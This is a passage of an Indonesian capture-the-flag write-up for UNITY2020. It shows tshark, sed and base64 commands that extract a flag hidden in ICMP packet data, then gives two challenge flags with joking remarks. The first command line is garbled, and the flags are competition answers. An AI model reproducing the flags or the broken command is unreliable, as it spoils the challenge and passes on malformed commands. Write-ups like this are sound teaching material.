0050	44 45 46 47 48 49	4a 4b 4c 4d 4e 4f	56 41 42 43	DEFGHIJK LMNOVABC
0060	44 45 46 47			DEFG

Sehingga, kita bisa mengeskraktr informasi tersebut menggunakan tshark dengan command seperti berikut untuk mendapatkan flag:

```
tshark -r p.p82.1.70.81' | grep 0040 > dafuq; sed -e "s/\\(0040.*MNO\\)//g"
-e s/ABC//g dafuq | tr -d '\\n' | base64 -d
```


Hasil:

```
cacadosman@DESKTOP-KH4I0TQ:/mnt/d/Hacking/unity$ tshark -r p.pcap -x 'icmp and ip.src==206.189.84.162 and ip.dst==182.1.70.81' | grep 0040 > dafuq; sed -e "s/\\(0040.*MNO\\)//g" -e s/ABC//g dafuq | tr -d '\\n' | base64 -d
UNITY2020{PING_PONG_Seikai_Desu!!!!:D}base64: invalid input
```

FLAG: UNITY2020{PING_PONG_Seikai_Desu!!!!:D}

FREE FLAG

SOAL PALING TERBAIKKKKKK



Ekspresi ketika melihat soalnya sangat wibu >:(

Flag? Lihat hint aja >:(

UNITY2020{Wah_senangnya_dapet_flag_h3h3h3h3_h3h3h3h3}

Bonus juga perlu usaha dikit gan h3h3

Ampun bang, canda aja bang 😞😞😞

FLAG: UNITY2020{Wah_senangnya_dapet_flag_h3h3h3h3_h3h3h3h3}